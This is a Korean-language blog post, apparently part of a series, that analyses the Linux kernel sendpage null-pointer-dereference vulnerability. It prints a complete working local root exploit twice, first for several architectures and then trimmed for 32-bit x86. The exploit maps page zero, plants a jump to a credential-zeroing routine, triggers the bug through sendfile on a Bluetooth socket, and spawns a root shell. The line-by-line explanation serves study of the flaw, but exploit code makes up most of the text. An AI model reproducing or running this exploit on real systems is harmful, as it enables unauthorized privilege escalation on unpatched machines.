By puing | August 20, 2018
Linux Kernel Exploit Sendpage
Analysis 上
안녕하세요~ 줄곧 CTF 문제로 커널을 공부했던 puing입니다! 하다보니 CTF 문제보다는 실제 커널에서 있었던 취약점을 공부해 보고 싶은 마음이 생겨서, 앞으로는 리눅스 커널에 존재했던 취약점들을 공부하면서 글을 남기고 있는데요.
제일 처음 다뤄볼 커널 취약점은 sendpage 취약점이었죠!
저번 편에서 sendpage 취약점에 대해 preview 정도 알려드렸는데요!
안 보고 오신 분들이라면 아래 링크를 참고 해 주세요 :)
이번 편에선 exploit code 를 보면서 자세히 한 번 알아봅시다!
제가 참고했던 exploit code 입니다!
Exploit Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#if !defined(__always_inline)
#define __always_inline inline __attribute__((always_inline))
#endif
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;
asm volatile ("movq %%rsp,%0; " : "=r" (sp));
return sp;
}
#else
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;
asm volatile ("movl %%esp,%0" : "=r" (sp));
return sp;
}
#endif
#elif defined(__powerpc__) || defined(__powerpc64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;
asm volatile ("mr %0,%%r1; " : "=r" (sp));
return sp;
}
#endif
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct;
asm volatile ("movq %%gs:(0),%0; " : "=r" (task_struct));
return task_struct;
}
#else
#define TASK_RUNNING 0
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct, thread_info;
thread_info = current_stack_pointer() & ~(4096 - 1);
if (*(unsigned long *)thread_info >= 0xc0000000) {
task_struct = *(unsigned long *)thread_info;
/*
* The TASK_RUNNING is the only possible state for a process executing
* in user-space.
*/
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
}
/*
* Prior to the 2.6 kernel series, the task_struct was stored at the end
* of the kernel stack.
*/
task_struct = current_stack_pointer() & ~(8192 - 1);
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
thread_info = task_struct;
task_struct = *(unsigned long *)thread_info;
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
return -1;
}
#endif
#elif defined(__powerpc__) || defined(__powerpc64__)
#define TASK_RUNNING 0
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct, thread_info;
#if defined(__LP64__)
task_struct = current_stack_pointer() & ~(16384 - 1);
#else
task_struct = current_stack_pointer() & ~(8192 - 1);
#endif
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
thread_info = task_struct;
task_struct = *(unsigned long *)thread_info;
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
return -1;
}
#endif
#if defined(__i386__) || defined(__x86_64__)
static unsigned long uid, gid;
static int
change_cred(void)
{
unsigned int *task_struct;
task_struct = (unsigned int *)current_task_struct();
while (task_struct) {
if (task_struct[0] == uid && task_struct[1] == uid &&
task_struct[2] == uid && task_struct[3] == uid &&
task_struct[4] == gid && task_struct[5] == gid &&
task_struct[6] == gid && task_struct[7] == gid) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}
task_struct++;
}
return -1;
}
#elif defined(__powerpc__) || defined(__powerpc64__)
static int
change_cred(void)
{
unsigned int *task_struct;
task_struct = (unsigned int *)current_task_struct();
while (task_struct) {
if (!task_struct[0]) {
task_struct++;
continue;
}
if (task_struct[0] == task_struct[1] &&
task_struct[0] == task_struct[2] &&
task_struct[0] == task_struct[3] &&
task_struct[4] == task_struct[5] &&
task_struct[4] == task_struct[6] &&
task_struct[4] == task_struct[7]) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}
task_struct++;
}
return -1;
}
#endif
#define PAGE_SIZE getpagesize()
int
main(void)
{
char *addr;
int out_fd, in_fd;
char template[] = "/tmp/tmp.XXXXXX";
#if defined(__i386__) || defined(__x86_64__)
uid = getuid(), gid = getgid();
#endif
if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
exit(EXIT_FAILURE);
}
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
addr[0] = '\xff';
addr[1] = '\x24';
addr[2] = '\x25';
*(unsigned long *)&addr[3] = 8;
*(unsigned long *)&addr[8] = (unsigned long)change_cred;
#else
addr[0] = '\xff';
addr[1] = '\x25';
*(unsigned long *)&addr[2] = 8;
*(unsigned long *)&addr[8] = (unsigned long)change_cred;
#endif
#elif defined(__powerpc__) || defined(__powerpc64__)
#if defined(__LP64__)
/*
* The use of function descriptors by the Power 64-bit ELF ABI requires
* the use of a fake function descriptor.
*/
*(unsigned long *)&addr[0] = *(unsigned long *)change_cred;
#else
addr[0] = '\x3f';
addr[1] = '\xe0';
*(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;
addr[4] = '\x63';
addr[5] = '\xff';
*(unsigned short *)&addr[6] = (unsigned short)change_cred;
addr[8] = '\x7f';
addr[9] = '\xe9';
addr[10] = '\x03';
addr[11] = '\xa6';
addr[12] = '\x4e';
addr[13] = '\x80';
addr[14] = '\x04';
addr[15] = '\x20';
#endif
#endif
if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {
perror("socket");
exit(EXIT_FAILURE);
}
if ((in_fd = mkstemp(template)) == -1) {
perror("mkstemp");
exit(EXIT_FAILURE);
}
if(unlink(template) == -1) {
perror("unlink");
exit(EXIT_FAILURE);
}
if (ftruncate(in_fd, PAGE_SIZE) == -1) {
perror("ftruncate");
exit(EXIT_FAILURE);
}
sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
execl("/bin/sh", "sh", "-i", NULL);
exit(EXIT_SUCCESS);
}
그렇게 복잡해보이지 않네요!!
먼저 main 함수 내용부터 봅시다 ㅎㅎ
main 함수부터보면 mmap 으로 메모리를 할당받습니다.
if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED| MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}
Sendpage preview 에서 언급했듯이 mmap 함수는 매핑할 때 쓰일 수 있는 함수인데, 옵션을 MAP_ANONYMOUS 로 주면 0으로 초기화된 메모리를 반환합니다. 이 때, 반환되는
메모리 주소가 0번지
였죠!
mmap 함수 호출 후, addr 변수에는 주소 0이 담겨있겠죠? 그 이후 내용을보면, mmap 으로 반환된 주소에 뭔가를 씁니다!
어떤 시스템이냐에 따라 addr 에 쓰는 값이 조금 다릅니다. 제가 사용하고 있는 환경은 centos 32bit 이고, 이 시스템에 해당되는 조건문은 아래 else 문입니다.
#else
addr[0] = '\xff';
addr[1] = '\x25';
*(unsigned long *)&addr[2] = 8;
*(unsigned long *)&addr[8] = (unsigned long)change_cred;
편의상 다른 부분은 생략하고 제가 사용하고 있는 시스템에 의미있는 부분만 보자면 내용은 아래와 같습니다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#if !defined(__always_inline)
#define __always_inline inline __attribute__((always_inline))
#endif
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;
asm volatile ("movl %%esp,%0" : "=r" (sp));
return sp;
}
#define TASK_RUNNING 0
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct, thread_info;
thread_info = current_stack_pointer() & ~(4096 - 1);
if (*(unsigned long *)thread_info >= 0xc0000000) {
task_struct = *(unsigned long *)thread_info;
/*
* The TASK_RUNNING is the only possible state for a process executing
* in user-space.
*/
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
}
/*
* Prior to the 2.6 kernel series, the task_struct was stored at the end
* of the kernel stack.
*/
task_struct = current_stack_pointer() & ~(8192 - 1);
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
thread_info = task_struct;
task_struct = *(unsigned long *)thread_info;
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
return -1;
}
static unsigned long uid, gid;
static int
change_cred(void)
{
unsigned int *task_struct;
task_struct = (unsigned int *)current_task_struct();
while (task_struct) {
if (task_struct[0] == uid && task_struct[1] == uid &&
task_struct[2] == uid && task_struct[3] == uid &&
task_struct[4] == gid && task_struct[5] == gid &&
task_struct[6] == gid && task_struct[7] == gid) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}
task_struct++;
}
return -1;
}
#define PAGE_SIZE getpagesize()
int
main(void)
{
char *addr;
int out_fd, in_fd;
char template[] = "/tmp/tmp.XXXXXX";
uid = getuid(), gid = getgid();
if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
exit(EXIT_FAILURE);
}
addr[0] = '\xff';
addr[1] = '\x25';
*(unsigned long *)&addr[2] = 8;
*(unsigned long *)&addr[8] = (unsigned long)change_cred;
if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {
perror("socket");
exit(EXIT_FAILURE);
}
if ((in_fd = mkstemp(template)) == -1) {
perror("mkstemp");
exit(EXIT_FAILURE);
}
if(unlink(template) == -1) {
perror("unlink");
exit(EXIT_FAILURE);
}
if (ftruncate(in_fd, PAGE_SIZE) == -1) {
perror("ftruncate");
exit(EXIT_FAILURE);
}
sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
execl("/bin/sh", "sh", "-i", NULL);
exit(EXIT_SUCCESS);
}
자 그럼 마저 addr 에 어떤 값을 써주는지 마저 봅시다.
addr[0] = '\xff';
addr[1] = '\x25';
*(unsigned long *)&addr[2] = 8;
*(unsigned long *)&addr[8] = (unsigned long)change_cred;
addr 는 포인터 변수이고 이 변수에는 주소 0이 들어가있는 상태입니다. 그리고 그 주소 안에 0xff 0x25 ..
들을 넣어줍니다. sendpage 는 null pointer dereference
취약점으로 초기화를 제대로 해주지않아 null 을 가리키고있는 sendpage 를 그대로 호출하게됩니다. 그럼 결국에 null 을 호출하게되고 주소 0번지에 있는 내용들이 실행될 것 입니다.
Sendpage preview 에서 보았던, sock_sendpage 함수에서 sendpage 를 호출하는 부분이 있었습니다.
sock->ops->sendpage(sock, page, offset, size, flags);
sock_sendpage 함수에서 sendpage 를 호출할때, 주소 0번지를 호출하게되면 결국엔 mmap 으로 할당받아 0 번지 주소를 가지고 있는 addr 에 써준값들이 실행되는데 addr 에는 0xff 0x25 ..이런 값들을 넣어줬었습니다. 어셈블리어로 보면
ff 25 08 00 00 00 jmp DWORD PTR ds:0x8
입니다. 0x8 번지가 가리키는 곳으로 점프한다는 뜻인데 0x8 번지에는 change_cred 함수 주소가 있는 곳입니다. (아까 addr[8] 에 change_cred 주소를 넣어줬으니까요 ㅎㅎ) 그럼 결국엔 change_cred 함수로 점프하게되겠죠 ㅎㅎ
change_cred
라는 함수를 봐 봅시다.
static int
change_cred(void)
{
unsigned int *task_struct;
task_struct = (unsigned int *)current_task_struct();
while (task_struct) {
if (task_struct[0] == uid && task_struct[1] == uid &&
task_struct[2] == uid && task_struct[3] == uid &&
task_struct[4] == gid && task_struct[5] == gid &&
task_struct[6] == gid && task_struct[7] == gid) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}
task_struct++;
}
return -1;
}
함수 내용을 보니 commit_creds(prepare_kernel_cred(0)) 와 비슷한 역할을 할거같은 느낌적인 느낌적인 느낌이오네요.
task_struct 구조체를 가져와서 uid, gid 를 다 0으로 바꿔줍니다. 권한 상승을 하는 부분입니다.
task_struct
라는 구조체는 생각보다 큰 구조체인데요, 이 구조체 안에는 해당 프로세스와 관련된 정보들이 담겨있습니다. uid,gid 같은 권한 관련한 정보들도 담겨있는데 change_cred
함수에서 uid,gid .. 이 변수들을 0으로 채워주고 있습니다.
어떻게 이 task_struct 구조체의 주소를 가져왔는지 보면, 먼저 current_task_struct
함수의 리턴값이 task_struct 포인터 변수안에 담깁니다.
current_task_struct
함수를 봐 봅시다 ㅎㅎ
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;
asm volatile ("movl %%esp,%0" : "=r" (sp));
return sp;
}
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct, thread_info;
thread_info = current_stack_pointer() & ~(4096 - 1);
if (*(unsigned long *)thread_info >= 0xc0000000) {
task_struct = *(unsigned long *)thread_info;
/*
* The TASK_RUNNING is the only possible state for a process executing
* in user-space.
*/
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
}
/*
* Prior to the 2.6 kernel series, the task_struct was stored at the end
* of the kernel stack.
*/
task_struct = current_stack_pointer() & ~(8192 - 1);
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
thread_info = task_struct;
task_struct = *(unsigned long *)thread_info;
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
return -1;
}
current_stack_pointer
함수에서 esp 레지스터 값을 리턴해주고 그 값과 4095를 비트반전연산한 값을 and 연산해줍니다. (4095 의 비트반전연산한 값은 0xfffff000
입니다.)
esp 와 0xfffff000
를 and 연산해주면 하위 3바이트를 제외한 주소가되면서 stack 의 처음 주소를 가지게됩니다.
위와 같이 커널 stack 이 있습니다. current_stack_pointer
함수에서 esp 값을 반환해주고, esp 는 stack 어딘가를 가리키고 있겠죠? stack 크기는 8KB 로 정해져있고 어떤 주소든 0xfffff000
과 and 연산을하면 커널 stack 의 처음 주소를 알아낼 수 있습니다.
예를 들어 esp 가 0xff257ed0 이라고 가정해봅시다. esp 와 0xfffff000 을 and 연산을 하면 하위 3바이트가 0인 0xff257000 가 커널 stack 의 처음 주소입니다.
근데 이 exploit code 에서는 커널 stack 의 처음 주소를 왜 알아내는 것일까요?ㅎㅎ
커널 stack 의 처음 주소에는 thread_info 구조체가 있기 때문인데요, thread_info 구조체를 보면 내용은 아래와 같습니다.
struct thread_info {
struct task_struct *task; /* main task structure */
struct exec_domain *exec_domain; /* execution domain */
unsigned long flags; /* low level flags */
unsigned long status; /* thread-synchronous flags */
__u32 cpu; /* current CPU */
__s32 preempt_count; /* 0 => preemptable, <0 => BUG */
mm_segment_t addr_limit; /* thread address space:
0-0xBFFFFFFF for user-thead
0-0xFFFFFFFF for kernel-thread
*/
struct restart_block restart_block;
unsigned long previous_esp; /* ESP of the previous stack in case
of nested (IRQ) stacks
*/
__u8 supervisor_stack[0];
};
이 구조체에서 중요하게 봐야할건 struct task_struct *task;
입니다. thread_info 구조체 안에는 task_struct 구조체를 가리키고 있는 포인터가 존재합니다.
change_cred 함수에서 task_struct 구조체 안에있는 변수들에 값을 써주며 uid, gid .. 를 다 0으로 만들어주며 권한 상승을 하죠? 그 때 필요한 task_struct 주소를 current_task_strut 함수에서 알아내는 겁니다.
커널 stack 처음에 있는 thread_info 구조체의 task 포인터 변수에 담겨있는 주소를 가져오면 끝이죠?ㅎㅎ
thread_info = current_stack_pointer() & ~(4096 - 1);
task_struct = *(unsigned long *)thread_info;
간단하게 위 두줄이면 task_struct 구조체 주소를 알아낼 수 있습니다 ^^
현재 stack 주소 & 0xfffff000 —> 커널 stack 처음 주소(thread_info 구조체 위치)
커널 stack 처음 주소안에 있는 주소 —> task_struct 구조체를 가리키고 있는 포인터(task_struct 구조체 주소)
지금까지 훑어봤던 내용들을 정리하자면,
- mmap 함수로 주소 0번지를 반환받고, 그 주소에 change_cred 함수주소로 점프하는 opcode 를 넣어줍니다.
jmp dword ptr 0x8
- change_cred 함수에서는 task_struct 구조체에 있는 권한 관련 변수들에 0을 채워넣어 권한 상승을 합니다.
- task_struct 의 주소는 current_task_struct 함수에서 구해주는데, task_struct 주소를 알아내는 방식은 먼저, esp 에 0xfffff000 을 and 연산하여 커널 stack 처음 주소를 알아낸 후, stack 처음 주소에 있는 thread_info 구조체에서 task_struct 주소를 담고있는 포인터를 통해 알아내는 겁니다.
함수 나머지 부분을 마저 봅시다 ㅎㅎ
if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {
perror("socket");
exit(EXIT_FAILURE);
}
if ((in_fd = mkstemp(template)) == -1) {
perror("mkstemp");
exit(EXIT_FAILURE);
}
if(unlink(template) == -1) {
perror("unlink");
exit(EXIT_FAILURE);
}
if (ftruncate(in_fd, PAGE_SIZE) == -1) {
perror("ftruncate");
exit(EXIT_FAILURE);
}
sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
execl("/bin/sh", "sh", "-i", NULL);
exit(EXIT_SUCCESS);
socket()
, mkstemp()
, unlink()
, ftruncate()
, sendfile()
함수들을 차례대로 호출한 후에 execl 함수로 /bin/sh 을 실행시킵니다. 간단하죠?ㅎㅎ
간단하게 이 함수들을 살펴볼게요~ 먼저 socket 함수
로 socket 을 생성한 후, mkstemp 함수
로 /tmp/tmp.~~~ 라는 이름의 임시 파일을 하나 생성합니다.
그리고 ftruncate 함수
로 임시 파일의 크기를 page size 로 변경한 후, sendfile 함수
를 호출합니다.
sendfile 함수 원형은
sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
입니다.
in_fd 의 파일 디스크립터를 통해 count 만큼 데이터를 읽고, out_fd 의 파일 디스크립터에 써주게되지요.
sendfile 함수
는 소켓과 디스크간에 데이터를 전송할 때 사용되는 함수입니다. 위 exploit code 에서처럼 socket 함수 호출 후, 반환된 파일 디스크립터와 mkstemp 함수 호출 후, 반환된 파일 디스크립터가 sendfile 의 인자로 들어가고 데이터가 전송됩니다.
이렇게 간단하게 socket 함수와 mkstemp 함수를 호출하여 반환된 파일 디스크립터를 sendfile 의 인자로 주고 호출하면 바로 root 권한의 쉘이 따입니다 ㅎㅎ
sendfile 함수에서는 내부적으로 sock_sendpage 함수를 호출하게되고, sock_sendpage 함수에서 널을 호출하게 되면, 그 이후엔 addr 변수에 있는 내용을 실행하게 되고, change_cred 함수로 점프하여 커널 stack 처음 주소를 알아내고.. task_struct 구조체를 알아내고… uid,gid 를 다 0으로 채워서 권한 상승하고.. 지금까지 우리가 훑어본 내용이 그대로 실행됩니다 ㅎㅎ
이번 편에서는 exploit code 위주로 알아보았는데요, 다음 편에선 sendfile 함수의 호출이 어떻게 null pointer dereference 가 된건지에 대해 알아보도록 하겠습니다. ㅎㅎ
(이번 편 내용처럼 다음 편 내용도 그렇게 어렵지 않답니다 ^^ 그저 재밌을 뿐 ^^ 하하하하하하)